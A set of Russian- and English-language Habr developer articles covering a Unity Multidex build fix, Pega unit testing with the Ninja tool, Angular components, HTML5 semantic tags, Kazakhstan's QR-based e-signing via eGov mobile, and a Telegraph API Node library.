commit: [7e453634](https://github.com/postgres/postgres/commit/7e453634), [a3c66de6](https://github.com/postgres/postgres/commit/a3c66de6)
Сообщение об ошибке при выполнении очистки (vacuum) дополнено информацией о смещении внутри страницы, необходимой для определения версии строки, на которой произошла ошибка.
Если окажется, что найденная версия строки повреждена, то можно попробовать применить к ней инструменты из арсенала ранее упомянутого модуля pg\_surgery.
---
На этом пока всё. Продолжение следует после [ноябрьского коммитфеста](https://habr.com/ru/company/postgrespro/blog/533058/). | https://habr.com/ru/post/522428/ | null | ru | null |
# Unity — Enable Multidex или слишком много методов
С чего все началось
-------------------
Всем привет. На определенном этапе разработки игры под Android на движке Unity я столкнулся с одной проблемой при билде. После добавления в проект таких плагинов как Appodeal и Google Play Games количество используемых методов превысило 65K и во время билда появилась следующая ошибка:
```
Error:Execution failed for task ':app:transformClassesWithDexForDebug'.
> com.android.build.api.transform.TransformException: com.android.ide.common.process.ProcessException: java.util.concurrent.ExecutionException: com.android.dex.DexIndexOverflowException: method ID not in [0, 0xffff]: 65536
```
Почитав документацию Appodeal, понял что надо включить Multidex. Решил это сделать. На сайте была ссылка с инструкцией для Android Studio. А мы то с вами на Unity, что же делать?
А все довольно просто надо сделать всего три действия:
Включить систему сборки Gradle
------------------------------
Чтобы в своем проекте на Android включить систему Gradle в Unity выполним пару действий
1. В Unity откройте Build Settings (**File** >> **Build Settings**)
2. Если вы еще не выбрали платформу, то пора сделать это (**Platform** >> **Android**)
3. В списке Build System выбираем Gradle (**Build System** >> **Gradle** )
Изменение настроек Gradle
-------------------------
1. Чтобы изменить настройки Gradle, вам сначала нужно получить файл настроек Gradle, который расположен в папке (*Assets/Plugins/Android/mainTemplate.gradle*). Если файла *mainTemplate.gradle* скачайте по ссылке и вставьте по адресу *Assets/Plugins/Android/*:
[Скачать файл](https://drive.google.com/open?id=1J5Zzze-SaOcAHLC04MU9w-XdY7Zql60f)
2. Если файл у вас уже есть, добавляем строку *multiDexEnabled true* в объект *defaultConfig*
3. **Если минимальный уровень API Android равен 20 или ниже**, добавьте эту строку *compile ‘com.android.support:multidex:1.0.1’*
4. Закомментируем или удалим строки:
*```
minifyEnabled **MINIFY_DEBUG**
useProguard **PROGUARD_DEBUG**
```*
Окончательный вид файла:
Инициализация Multidex
----------------------
Если **минимальный уровень API Android, установленный на 20 или ниже.**
Обновите файл манифеста, расположенный в *Assets/Plugins/Android/AndroidManifest.XML*. Если у вас нет этого файла, вам придется его создать. Вы можете найти AndroidManifest по умолчанию.xml в месте установки Unity. Но вам также придется вручную применить параметры проекта вашего приложения: имя пакета, разрешения, параметры конфигурации и другую информацию.
Если вы только что создали новый файл манифеста или у вас уже был он, вы просто добавляете этот параметр(*android:name*) следующим образом:
На этом все. Ошибка исчезнет, и вы спокойно сбилдите свой проект.
Спасибо за внимание. | https://habr.com/ru/post/487336/ | null | ru | null |
# Модульное тестирование Pega приложений: меняем жизнь к лучшему с Ninja
Несмотря на парадигму ‘no coding’, модульное тестирование на сложных проектах Pega так же важно, как и на других проектах по разработке ПО. В этом я убедился лично, работая в проектах по сквозной автоматизации бизнес-процессов на базе решений Pegasystems.
На Хабре я нашел всего одну статью, посвященную платформе Pega. А между тем Pega ежегодно получает высокие оценки в самых авторитетных [рейтингах](https://www.pega.com/insights/analyst-reports) BPM-решений и CRM-приложений.
Развивая тему работы на Pega, предлагаю вам перевод своей [статьи о Ninja](https://pegadevops.com/gaining-confidence-with-comprehensive-and-continuous-pega-7-unit-testing/) – инструменте для тестирования приложений Pega. По ходу комментирую терминологию, которую использовал в этом материале.
В 2015 году я участвовал в автоматизации процесса кредитования корпоративного блока на платформе Pega в одном из крупнейших финансовых институтов России и Восточной Европы.
На одном из этапов проекта команда опоздала с выпуском очередного релиза. Стало очевидно, что в столь сложном проекте необходим альтернативный подход к автоматизированному тестированию, позволяющий выявлять возможные дефекты на ранних сроках. Тогда мы решили перенести практики, применяемые в Java-проектах, на платформу Pega. О том, что из этого вышло, и пойдет речь в статье.
Однажды что-то пошло не так
---------------------------
Чтобы вы могли представить масштаб системы, скажу, что к февралю этого года она достигла размера более 32 тысяч рулов (rule – единица построения приложения на платформе Pega, в Java это может соответствовать методу/классу, но аналогия грубая). Сейчас ее развивают три независимые команды, которые производят более четырех тысяч чекинов в день.
В 2015 году мы вместе с коллегами из [«ЛАНИТ – Би Пи Эм»](http://www.lanit.ru/structure/region/) завершали очередной этап проекта и готовили релиз, содержащий множество сложных интеграционных взаимодействий с back-end системами заказчика.
Проблемы начались неожиданно. Системное тестирование выявило ряд ошибок в интеграционных сценариях.
Да, я, конечно, в курсе, что в российской индустрии разработки корпоративного ПО нет единодушия в трактовке и применении данного термина. Поэтому оговорюсь, что системным тестированием я здесь буду называть тестирование всех приложений, задействованных в реализации бизнес-процесса.
Итак, до завершения системного тестирования оставалось две недели, и за это время команды всех взаимодействующих систем должны были исправить свои приложения. Пусть в этом контексте «системы» и «приложения» будут синонимами.
Список ближайших задач напоминал обычную проектную рутину. Нужно было:
* выделить проблемные интеграционные сценарии;
* выявить конфликты в интеграционных спецификациях со стороны разных систем, ставшие причиной неработающих интеграционных сценариев;
* в каждом отдельно взятом случае договориться, на чьей стороне исправлять спецификации и реализацию;
* исправить и выпустить обновления по всем приложениям.
Список сценариев, которые требовали исправлений на стороне нашей системы, не был коротким, но и не казался пугающим. Исправление интеграционного слоя нашего приложения заняло неделю работы всей команды.
Никто из нас даже не мог себе представить, что исправление всех проблем, возникших после такой существенной переработки приложения, займет еще две недели и потребует бесчисленного количества циклов внутреннего тестирования. Сроки завершения данного (очень важного для заказчика) этапа проекта сдвигались. Нам нужно было найти решение, которое, хотя и не смогло бы помочь немедленно, предотвратило бы подобные ситуации в будущем.
[Источник](http://i.wp-b.com/media/2016-9-13/26XVH3wjwV.png)
Анализ проблемы
---------------
Мы проанализировали этот болезненный провал и выделили следующие основные причины.
* Из-за высокой сложности приложения невозможно было проверить, что изменения, внесенные в одном месте, не ломают что-нибудь в совершенно другом (абсолютно неожиданном) месте. Это стало причиной большого количества регрессионных дефектов.
* Описание компонентов приложения, которые мы вели на wiki проекта, не были привязаны к коду и часто были неактуальны – не описывали специфичное поведение рулов при определённых условиях. Таким образом, разработчики при использовании существующих компонентов не обладали достаточной информацией о том, как обрабатывать все возможные исключения или специфичные возвращаемые значения.
* Разработчики фокусировались на обработке основных сценариев, оставляя не реализованными альтернативные ветки, обработку ошибок или поведение при отсутствии данных.
С учетом нашего опыта в Java мы прекрасно понимали, что подобные проблемы в Java-проектах обычно решаются с помощью известных практик: модульного тестирования, test-driven development и continuous integration. Нам показалось логичным применить данные практики в нашем Pega-проекте.
Проектирование модульных тестов
-------------------------------
Мы решили начать с покрытия модульными тестами интеграционного слоя приложения, т.к. он был самой сложной частью нашего приложения и порождал до 80% всех дефектов.
Типовой интеграционный компонент нашего приложения состоял из 6 основных элементов.
* Connect activity – основной элемент, который объединял все остальные элементы и служил точкой входа для вызова интеграции из различных частей приложения.
* Request mapping data transform заполнял запрос на основе бизнес-данных.
* Stream XML преобразовывал запрос из интеграционной модели в XML.
* Connector rule взаимодействовал с внешней системой по требуемому протоколу.
* Parse XML разбирал XML ответа и преобразовывал его в интеграционную модель данных.
* Response mapping data transform преобразовывал ответ из интеграционной модели в бизнес-сущности.
Stream и Parse XML рулы обычно создавались автоматически с использованием Connector and Metadata Wizard вместе и интеграционной моделью данных. Connector рул специально оставлялся «тонким» за счёт перемещения всей логики в Connect activity. Наибольшее количество дефектов порождалось Connect activity и Request/Response mapping data transform, т.к. они содержали основную логику интеграционного компонента.
С учетом описанной выше архитектуры интеграционного слоя мы намеревались создать следующий пакет тестов для каждой точки интеграции.
* Тест Connect activity в изоляции для проверки её логики, включая нестандартные ситуации.
* Тест Request mapping data transform в изоляции.
* Тест Response mapping data transform в изоляции.
* Тест на весь интеграционный компонент с целью проверки, что исходящий XML формируется, а входящий XML обрабатывается корректно (в соответствии со спецификацией).
Элементы на диаграмме раскрашены в соответствии с «забагованностью» и желаемой степенью покрытия тестами:
* красный – элементы, в значительной степени подверженные ошибкам, должны тестироваться в изоляции для достижения большего покрытия (модульные тесты);
* зеленый – элементы, менее подверженные ошибкам, при тестировании их достаточно проверить в связке с другими элементами (речь об inner-com тестах, то есть тестах внутреннего компонента в изоляции от внешних систем);
* серый – компоненты, которые вряд ли могут содержать ошибки и могут оставаться не покрытыми пакетом тестов.
Модульное тестирование средствами платформы Pega
------------------------------------------------
Первое, что мы попробовали, были Pega Test Cases – автоматизированные тесты, созданные соответствующим инструментом платформы. Хотя они полезны для простых приложений, оказалось, что в проектах корпоративного масштаба их использование существенно ограничено: они не позволяют управлять уровнем изоляции зависимых рулов в тестах.
В нашем случае это означало, что мы не сможем выполнять тестирование в изоляции не только для Connect activity, но также и для Data transform, т.к. они могут использовать (и часто используют) Data Pages, которые, в свою очередь, используют другие рулы в качестве источника данных (Activity, Report Definitions, другие Data Transform и т.д.).
Таким образом, модульное тестирование от Pega подходило для реализации только одного из четырех типов тестов – inner-com тестов. Более того, это было возможно только благодаря механизму Integration Simulation, который, в свою очередь, создавал проблемы части гибкости и сопровождения тестов.
Описанное выше ограничение было не единственным, что нас беспокоило в модульных тестах от Pega.
* До выхода Pega 7.2 (в тот момент мы использовали Pega 7.1.8) не было удобного способа управления подготовкой данных для теста и проверкой результатов. Побочным эффектом данного ограничения была необходимость пересоздания всех тестов после существенных изменений рулов.
* Низкая степень повторного использования кода тестов: даже с учетом существенных улучшений в Pega 7.2, нет возможности разбить комплексные проверки результатов теста на отдельные блоки и использовать их в нескольких сценариях.
* Нет возможности писать комплексные тестовые сценарии, включающие вызов нескольких рулов и проверку общего результата их работы.
* Pega [предоставляет](https://pdn.pega.com/sites/pdn.pega.com/files/help_v722/procomhelpmain.htm#rule-/rule-autotest-/rule-autotest-case/main.htm) поддержку модульного тестирования для ограниченного набора рулов (Data Pages, Activity, Decision Table, Decision Tree, Flow, Service SOAP).
С учетом всех этих проблем мы определенно нуждались в альтернативном подходе к автоматизированному тестированию.
Research & Development
----------------------
Мы начали с подбора сильной команды ветеранов из Java и Pega проектов. Через мозговые штурмы и отзывы от проектных команд мы добились кристально чистого понимания того, какие функции нам нужны. Это:
* управление изоляцией рулов;
* Mock и Stub для рулов (аналогично Mock и Stub для классов в Java);
* декомпозиция сложных тестов на маленькие, повторно используемые блоки;
* запуск модульных тестов на любом современном build-сервере.
После нескольких месяцев прототипирования и реализации выпуcтили альфа-версию и начали её пилотировать на небольшой части кода приложения. Пилотирование показало успешность нашей задумки – тесты стали приносить пользу: помогли обнаружить несколько существенных дефектов при написании тестов, а также позволили своевременно выявлять регрессионные дефекты.
Приблизительно в течение года мы внедрили новый подход к тестированию на большинстве наших Pega-проектов. Созданному инструменту требовалось название, и оно появилось само собой – Ninja.
[Источник](http://www.ninjaturtles.ru/forum/pic/20658.jpg)
Модульное тестирование с Ninja
------------------------------
Ninja предоставляет Java библиотеку, позволяющую писать JUnit тесты для рулов. Таким образом, модульное тестирование приложения на платформе Pega становится таким же простым, как в Java.
Давайте немного подробнее остановимся на том, что делает Ninja таким удобным.
Во-первых, Ninja шифрует и безопасно хранит ваши учетные данные для подключения к среде разработки Pega (представляет собой web-приложение, известное как Pega Designer Studio) и выполнения тестов от вашего имени. Это позволяет тестировать приватную версию рула, находящуюся в checkout. Здесь на всякий случай поясню: платформа Pega позволяет брать рулы в checkout и вносить в них изменения, «видимые» только автору. После того как автор проверил внесенные изменения, он выполняет check-in. Затем изменения становятся «видны» всем.
Во-вторых, Ninja использует одну и ту же сессию для последовательных запусков теста. Это позволяет определить Requestor (сессию работы с системой), используемый Ninja, и подключиться к нему с помощью Tracer – инструмента для отладки в платформе Pega, который позволяет просматривать детальную информацию о выполняемых шагах и состоянии объектов в памяти. В данном случае Tracer необходим для анализа происходящего при выполнении тестируемого рула.
Таким образом, Ninja позволяет готовить тестовое окружение легко и точно.
```
final String myClass = "MyOrg-MyApp-Work-MyCase";
// prepare a Top-level page
preparePage("MyTopLevelPage").create(myClass)
.prop("pyLabel", "This is my top level page for a case")
.prop("MyProp", "My value");
// prepare parameter
prepareParameter("myParam").value("My param value");
```
Вы можете определять заглушки для рулов, прямо или косвенно вызываемых тестируемым рулом. Это позволяет тестировать рулы в управляемой изоляции.
```
// mock nested activity invocation
expect().activity().className("MyOrg-MyApp-Work-MyCase").name("NestedActivity").andMock(new MockBehaviour() {
@Override
public void process(MockActivityContext context) throws Exception {
// assert parameters
context.assertParameter("myParam").value("My value");
// assert Primary page
context.assertPrimaryPage().prop("MyProp", "My value");
// assert Top-level page
context.assertPage("TopLevelPage").exists().prop("pyLabel", "This is my TLP");
// set properties in Primary
context.preparePrimaryPage().prop("pyNote", "My note for this page");
// set parameters on Top-level page
context.preparePage("TopLevelPage").prop("pyLabel", "This is MODIFIED TLP");
// set parameters
context.prepareParameter("myResult").value("Success");
}
});
```
```
//mock Obj-Browse method invocation
final String opClass = "Data-Admin-Operator-ID";
expect().objBrowse().page("OperatorList").className(opClass).andMock(new MockBehaviour() {
@Override
public void process(MockObjBrowseContext context) throws Exception {
// prepare result set
final PreparePageList pxResults = context.preparePage("OperatorList").prop("pxResultCount", "2").pageList("pxResults");
pxResults.append(opClass).prop("pyUserIdentifier", "info@pegadevops.com").prop("pyLabel", "Operator ID record");
pxResults.append(opClass).prop("pyUserIdentifier", "alexander.lutay@pegadevops.com").prop("pyLabel", "Operator ID record");
}
});
```
В тестовом сценарии вы можете вызвать практически любой рул, обладающий поведением в Pega. Модульное тестирование не применимо для долго живущих процессов и GUI, поэтому Ninja не поддерживает Flow, Flow Action, Section и другие связанные с GUI рулы.
```
// what about covering a Function with a unit test?
invoke().function().ruleSet("MyRuleset").library("MyLibrary").name("Func").args().string("My string").longO(123).date(new Date());
// would you like to unit test a When rule?
invoke().when().primaryPage("pyWorkPage").name("ToBeOrNotToBe");
```
Вы можете всесторонне проверять результаты выполнения теста.
```
// assert activity status
assertActivityStatus().good();
// assert Clipboard state
assertPage("MyTestPage").exists().propAbsent("ErrorCode")
.prop("ResultCode", "0").propPresent("ResultDescription");
// assert Params
assertParameter("MyParam").value("Some value");
```
Еще больше примеров можно найти в Ninja Cookbook на [GitHub](https://github.com/pegadevops/ninja-cookbook).
С помощью Ninja мы покрыли основные интеграционные сценарии модульными тестами.
* Мы тестируем Connect activity в изоляции за счет имитации (mocking) других рулов. Это помогло нам сфокусироваться в этих тестах на интеграционной логике и проверить все ветки, и в том числе исключительные ситуации.
* Трансформации данных были исчерпывающе проверены в изоляции от всех других рулов (Function, различные Decision рулы, источники данных для Data Pages), вызываемых прямо или косвенно из Data Transform рулов.
* Мы делали заглушки на Connector рулы, чтобы избежать вызова внешних систем из inner-com тестов, а также для проверки XML, формируемого компонентом.
Создавая нашу базу модульных тестов, мы смогли выделить несколько общих процедур по подготовке тестового окружения и проверке результатов выполнения тестов, на основе которых мы построили библиотеку повторно используемых компонентов для написания тестов.
Уверенность в качестве приложения
---------------------------------
По состоянию на февраль 2017 года, кредитный процесс имеет несколько параллельных веток разработки: исправление дефектов, возникающих в рамках опытной эксплуатации (Prod-ветка), и несколько веток под разработку функционала будущих релизов.
Каждая ветка покрыта собственными модульными тестами, которые развиваются вместе с приложением. Тесты хранятся в системе контроля версий и также разделены на ветки. Prod-ветка по состоянию на февраль 2017 года имела 350 тестов. Позволю себе уточнить, что на момент перевода статьи, в июле 2017 года, ветка последнего релиза содержала уже порядка 1650 тестов, время выполнения которых не превышает 15 минут.
Модульные тесты запускаются build-сервером отдельно для каждой ветки каждые 30 минут. Это означает, что команда получает «отчёт о здоровье» системы каждые 30 минут и может своевременно реагировать на появляющиеся дефекты.
Ninja позволила нам быстрее выпускать продукт более высокого качества благодаря меньшему количеству циклов Dev-QA, т.к. большинство дефектов теперь обнаруживаются на Dev-среде и сразу устраняются.
Стало меньше дефектов в опытной эксплуатации – благодаря более всестороннему тестированию командой QA, которой теперь не приходится сталкиваться с тривиальными дефектами, блокирующими прохождения тестовых сценариев.
Продолжение следует
-------------------
Наш опыт подсказал нам, что модульные тесты – не единственная «слабая» область платформы Pega: если сравнивать с Java или другими «традиционными» платформами разработки ПО, инструменты Pega, которыми могут воспользоваться разработчики, обладают существенными ограничениями.
С учетом фидбека от проектных команд и по результатам многочисленных мозговых штурмов мы определили функции, которые следующими появятся в Ninja:
* Rule Refactoring – рефакторинг рулов;
* Code analysis – расширенный статический анализ кода;
* Code review – аудит кода;
* Release automation – автоматизация сборок и поставок;
* Continuous delivery pipeline – конвейер continuous delivery.
Отмечу, что сейчас большая часть этих функций уже доступна в Ninja. Уверен, что подобные функции позволят Ninja стать всеобъемлющим инструментарием для внедрения DevOps на проектах Pega.
Нашим решением заинтересовались зарубежные коллеги, и я рад, что этот кейс может служить примером для других команд разработчиков: в России можно хорошо делать нишевые решения для крутых ИТ-продуктов и успешно их экспортировать.
Более подробную информацию о Ninja ищите [здесь](https://pegadevops.com/).
**Если вы хотите присоединиться к нашей команде**
Сейчас у нас открыто несколько интересных вакансий:
[Аналитик BPM](https://job.lanit.ru/vacancy/Pages/BPM-03.aspx)
[Старший аналитик BPM](https://job.lanit.ru/vacancy/Pages/BPM-30.aspx)
[Разработчик PEGA](https://job.lanit.ru/vacancy/Pages/BPM-01.aspx)
[Старший разработчик PEGA](https://job.lanit.ru/vacancy/Pages/BPM-23.aspx)
[Архитектор](https://job.lanit.ru/vacancy/Pages/BPM-02.aspx)
[Руководитель проекта](https://job.lanit.ru/vacancy/Pages/BPM-05.aspx)
В заключение предлагаю вам небольшой опрос: | https://habr.com/ru/post/334648/ | null | ru | null |
# Getting To Know Angular Components
Angular is one of the most popular front-end development frameworks out there. It is a leading choice for personal as well as industry-level development of web applications due to its robust capabilities. While Angular is popular for many different reasons, one of the main ones is its modular nature. Modularity makes it easy for the developer to keep track of all the different elements being used to program functionalities. It also helps in keeping consistency and even reusing a block of code or functionality multiple times.
This modularity lies at the heart of Angular in the form of elements called components. This article will quickly take you through all the important bits to know about Angular components, their usage, how they are useful, and some code examples. Components make Angular easy to learn and applications easy to structure. Through this article, you’ll get to see how Angular components make all of this possible.
### What Are Angular Components Exactly?
Components lie at the foundation of Angular applications. They interact similar to how HTML elements do in terms of passing data between elements and emitting events. Each of the components has some behavior attached to it that tells what data to render or load and a template that tells it how to render the data. An Angular application is based on a component tree structure where different components have child components and so on. Data is shared from parent to child components through an ‘input binding.’ Similarly, it can be shared the other way around through outputs.
Components are the first elements to be rendered when bootstrapping and rendering an Angular application. Specifically, the App component is rendered and its child components alongside it. Throughout the user journey of the application, some components are being constantly removed while new ones are loaded and rendered. This continues on until the application is finally closed.
Components are also very helpful in the automated testing of Angular applications. Due to how fundamental they are to the application, testing components is often the most crucial part of testing. The components can be tested using many different frameworks such as Jasmine, Karma, or even Angular’s own testing utilities. More complex components obviously require complex tests for quality assurance, so it is better to create smaller components that can be validated quickly and easily.
### What Goes Inside Angular Components?
As mentioned before, a component basically encapsulates instructions on what data is going to be rendered and the visual layout of that rendering. This is achieved by including the following aspects:
1. In order for a component to be recognized by Angular, it is annotated by a ***@Component()*** decorator.
2. The logic and behavior of the component are stored in the **controller**, which is a class decorated by ***@Component()***.
3. The visual layout is given in the form of an HTML markup file called a **template.** The template derives the values of data to bind and render from the controller.
While these are the main pieces that constitute a valid component, many additional attributes can be included as well. Each of these attributes brings in its own functionality and adds a new dimension to the component. Some prominent examples include the data being passed from a parent component in the form of an **input** or CSS files that define and encapsulate the styling of the visual layout of the component. One can also include code from Angular’s animation library to include transitions and other cool animations into the template. Following is an example of declaring an example component.
```
import { Component, OnInit } from '@angular/core';
@Component({
selector: 'example_app',
templateUrl: './component.example.html',
styleUrls: ['./component.example.css']
})
export class ExampleApp implements OnInit {
constructor() { }
}
```
Here, the *selector* part is telling how the component is to be associated with a certain HTML element in the application's template. The *templateUrl* basically gives the location for the component’s template HTML file. *styleUrls* gives the location of a CSS file for additional styling instructions, which works along with the component’s template.
### How To Configure An Angular Component?
Once an Angular component has been declared, it is provided with its main logic that defines its functionality. In the example below, you can see how the *ExampleApp* component is defining data, along with methods, that is further used by the template HTML file that is given below.
```
{{ username }}
==============
Change Name:
### Posts: {{ totalPosts }}
---
DELETE
###### {{ post.title }}
{{ post.body }}
---
```
The data defined by the component is used by the HTML file in curly brackets. Alongside that, the *deletePost* method is bound with the DELETE button and is triggered every time it is pressed. Even the username can be changed through the input box generated by the HTML file.
### Including Inputs In Component
Inputs are a necessary part of a component tree structure and the Angular application in general. They can be implemented as shown in the following example.
```
import { Component, Input } from '@angular/core';
@Component({
selector: 'example_app',
templateUrl: './component.example.html',
styleUrls: ['./component.example.css']
})
export class ExampleApp implements OnInit {
constructor() { }
}
export class ExampleComponent2 {
@Input() title: string = '';
@Input() description: string = '';
@Input('used') value: number = 0;
@Input('available') max: number = 100;
}
```
*ExampleComponent2* shows all the different data values that can be received from the parent component. If not passed, they are assigned their default values which are also defined in the component. *@Input()* helps specify that these variables can receive input and in the last two values, it also provides aliases inside the bracket. These aliases can be used in the HTML file and Angular would still direct them to these variables. *@Output()* works in a similar way and declares a variable to be a way to pass data to a parent component. The parent’s and child’s template files are then configured to forward and receive data through the specific variables.
### Conclusion
It is not possible to use Angular and its powerful abilities without understanding components and how to use them. Learning them and configuring them is the first step towards Angular proficiency. The functionality of components can be further added to through many different ways which help in building complex but innovative web applications. These include functions to observe if an event regarding a component’s lifecycle has occurred (creation, removal, or rendering) called **lifecycle hooks**. Or **pipes** that show the transformation of data on the template HTML file, like the TitleCasePipe that takes a string and changes it all to title case. | https://habr.com/ru/post/560366/ | null | en | null |
# HTML5: старые теги нового назначения
Всем известно, что теги , , , являются презентационными, а следовательно, исходя из парадигмы «структура, представление, поведение» их использование не приветствуется. Куда более привычными представляются элементы , , . Так было на протяжении долгих лет практики разработки. Однако многое поменялось в семантике этих элементов с приходом HTML5. Теперь у нас 4 новых тега со смыслом и каша в голове.
vs
---
Если раньше все учебники по вёрстке пестрили фразами вроде «используйте вместо », и это было наполовину верно, то сегодня такая привычка может сыграть злую семантическую шутку. А дело всё в том, что авторы HTML5 предлагают использовать для выделения отрывков текста с целью обратить внимание читателя, однако не подразумевая усиления значимости текста или интонации. Спецификация приводит [примеры](http://developers.whatwg.org/text-level-semantics.html#the-b-element) использования для разметки ключевых слов в документе
`The **frobonitor** and **barbinator** components are fried.`
и лидов (первый абзац статьи в журналистике)
`Kittens 'adopted' by pet rabbit
-------------------------------
**Six abandoned kittens have found an unexpected new mother figure — a pet rabbit.**
Veterinary nurse Melanie Humble took the three-week-old kittens to her Aberdeen home.`
В свою очередь , как и раньше, означает повышенную значимость своего содержимого.
vs
---
Отныне содержит текст, выбивающийся из общего окружения, но не имеющий эмоциональной окраски. На мой взгляд, логично использовать там, где типографская традиция предполагает курсив (например, слова на иностранном языке, термины и др.)
`*Per aspera ad Astra* — в переводе с латыни изречение означает «Через тернии к звёздам».`
же означает эмфатическое ударение, эмоциональный акцент на данном отрывке текста. Это тот случай, когда в речи мы выделяем слова голосом (интонацией, громкостью и др.)
`Казнить *нельзя*, помиловать.`
Внимательно читайте договор!
----------------------------
«Текст мелким шрифтом» (информация, являющаяся юридической формальностью, как то лицензия предприятия или юридический адрес и др.) мы, как правило, размечали элементом с классом, задающих в визуальных ПА более мелкий шрифт. Теперь же в нашем арсенале появился новый старый **семантический** элемент — .
Холивар о
---------
Раньше был ни чем иным, как зачёркнутый текст. Теперь представляет информацию, которая утратила свою актуальность.
У нас также есть элемент , результатом обработки которого по умолчанию в визуальных ПА является зачёркнутый текст. Он означает изменения в документе, и на первый взгляд их назначение может показаться одинаковым. Однако здесь есть тонкий момент. Рассмотрим пример страницы товара в интернет-магазине.
На ней может быть указано две цены, одна из которых зачёркнута. Её мы размечаем элементом . Это значит, что старая цена утратила свою актуальность (не важно когда это было, важен сам факт). Как проверить, что не ? подразумевает *изменения, внесённые в документ*(важно то, что *в некоторый момент времени документ был изменён*). В нашем же случае, в новом документе уже содержится неактуальная информация.
Новая семантика и старый доктайп
--------------------------------
Если по каким-то непонятным причинам вы не можете заменить доктайп на новый и формально верстаете в HTML 4.01 — не отчаивайтесь. Используйте старые новые элементы с новым смыслом и со временем вы скажете себе «спасибо». Возможно, кто-то скажет, что это неправильно, но ведь эти элементы, кроме даже не являются невалидными. Кроме того, HTML5 разрабатывался с расчётом на обратную совместимость, это же относится и к новой семантике старых элементов. Радикально ничего не изменилось, а добавилась лишь семантическая перчинка. | https://habr.com/ru/post/129147/ | null | ru | null |
# Обзор механизма подписания документов ЭЦП с применением QR кодов через приложение eGov mobile (aka QR-подписание)
Осенью 2022 года в Казахстане был анонсирован новый механизм подписания электронных документов - *QR-подписание*. Я расскажу о том, что это такое, как оно работает и как можно его опробовать.
---
В анонсах *QR-подписание* позиционировалось как замена ЭЦП ([Министр Мусин: Я лично признаюсь, что ЭЦП всех просто заколебала](https://tengrinews.kz/kazakhstan_news/ministr-musin-lichno-priznayus-etsp-prosto-zakolebala-479001/)), но важно понимать что "под капотом" тут та же самая электронная цифровая подпись, а меняются:
* приложение, которое вычисляет цифровую подпись ([eGov mobile](https://egov.kz/cms/ru/information/about/mobile_application) вместо [NCALayer](https://pki.gov.kz/ncalayer/));
* способ доставки подписываемых данных этому приложению (`QR код + HTTPS` вместо `WebSocket`).
Если сравнивать с "классическим" подходом *NCALayer*, то получается следующая картина:
**NCALayer:**
* n1 - информационная система передает в браузер данные на подписание;
* n2 - JS код в браузере связывается с запущенным локально NCALayer по WebSocket, передает данные на подписание и получает в ответ подпись.
**Подписание ЭЦП через QR с использованием eGov mobile:**
* q1 - информационная система передает в браузер QR код с блоком данных для eGov mobile;
* q2 - пользователь с помощью телефона считывает данные в QR коде приложением eGov mobile;
* q3 - приложение eGov mobile с помощью предоставленных данных связывается с информационной системой, скачивает данные на подпись и потом отправляет сформированные подписи обратно информационной системе.
В обоих случаях информационная система получает электронную цифровую подпись под документом, которую она должна проверить в соответствии с требованиями законодательства ([Приказ Об утверждении Правил проверки подлинности электронной цифровой подписи](https://adilet.zan.kz/rus/docs/V1500012864)). По большому счету бекенду информационной системы не важно была ли подпись сформирована с использованием *NCALayer* или *eGov mobile*.
Новый подход определенно обладает плюсами:
* пользователям (физическим лицам) проще получать ключи ЭЦП НУЦ РК, так как в приложении *eGov mobile* реализован функционал по выпуску ключей онлайн через биометрическую идентификацию;
* приложение *eGov mobile* умеет отображать переданные на подпись данные (точно поддерживаются PDF файлы, с другими форматами не до конца понятно), то есть пользователь может на своем устройстве ознакомиться с тем, что он подписывает;
* приложение *eGov mobile* позволяет подписывать несколько документов за один раз.
Но при этом он не универсален и в некоторых сценариях имеет недостатки:
* необходимо персональное мобильное устройство, но существуют помещения и рабочие места, где доступ к персональным мобильным устройствам ограничен;
* не позволяет использовать защищенные носители ключей ЭЦП (токены и смарт-карты);
* не работает без подключения к сети Интернет.
На эту тему высказывался Владимир Туреханов в интервью Tengrinews ["Оставьте NCALayer". Эксперт назвал особенности QR-подписания](https://tengrinews.kz/kazakhstan_news/ostavte-ncalayer-ekspert-nazval-osobennosti-qr-podpisaniya-484460/).
На данные момент *eGov mobile* умеет формировать следующие типы цифровых подписей:
* CMS с вложенными данными;
* CMS без вложенных данных;
* XML подписи.
Интеграция с eGov mobile
------------------------
Перед тем, как приступать к интеграции, необходимо зарегистрироваться на *Smart Bridge* и подать заявку на подключение к [Cервису QR подписания посредством приложения Egov Mobile](https://sb.egov.kz/smart-bridge/services/passport/NITEC-S-5096). Имейте в виду что этот процесс может затянуться.
В рамках интеграции необходимо будет доработать бекенд, в частности:
* реализовать формирование и разбор JSON структур *eGov mobile*;
* формировать уникальные одноразовые URL по которым *eGov mobile* будет забирать данные на подпись и возвращать сформированные цифровые подписи;
* формировать QR коды со специфичными URL для *eGov mobile*;
* предоставить публичный доступ к описанным выше URL, так как скачивать данные будут экземпляры приложения *eGov mobile* установленные на мобильных устройствах пользователей;
* обеспечить защиту данных (ссылки на скачивание данных не должны использоваться несколько раз, не должны быть доступны дольше чем нужно и т.п.).
Документация по интеграции доступна на странице сервиса на *Smart Bridge*.
Тестовый стенд
--------------
Ознакомиться с работой *eGov mobile* и подписать что-нибудь можно на демонстрационном стенде библиотеки с открытым исходным кодом [sigex-qr-signing-client](https://sigex-kz.github.io/sigex-qr-signing-client/). Эта библиотека работает с [API сервиса SIGEX](https://sigex.kz/blog/2022-12-14-signing-via-qr/), который позволяет подписывать данные в приложении *eGov mobile* с использованием QR кодов без регистрации на *Smart Bridge* и доработки бекенда. | https://habr.com/ru/post/711388/ | null | ru | null |
# Фреймворк для работы с Telegraph API
20 декабря 2016 года Telegram открыл *API* к *Telegraph*. Для работы с ним я написал простую и функциональную библиотеку под *JavaScript*.
Пару слов о Telegraph
---------------------
Telegraph — это сервис заметок и рассказов выполненный в минималистическом стиле, разработанный командой Telegram. Так же поддержка Instant View при просмотре из Telegram'а.
→ [Более подробно про Telegraph](https://telegram.org/blog/instant-view#telegraph)
Установка
---------
```
npm install --save telegraph-node
```
Подключение
-----------
```
const telegraph = require('telegraph-node')
const ph = new telegraph()
```
Доступные методы
----------------
* [createAccount](#createaccount)
* [editAccountInfo](#editaccountinfo)
* [getAccountInfo](#getaccountinfo)
* [revokeAccessToken](#revokeaccesstoken)
* [createPage](#createpage)
* [editPage](#editpage)
* [getPage](#getpage)
* [getPageList](#getpagelist)
* [getViews](#getviews)
createAccount
-------------
Создание аккаунта:
```
ph.createAccount(short_name, options).then((resulr) => {
console.log(result)
})
```
editAccountInfo
---------------
Редактирование аккаунта:
```
ph.editAccountInfo(access_token, options).then((resulr) => {
console.log(result)
})
```
getAccountInfo
--------------
Получение информации о аккаунте:
```
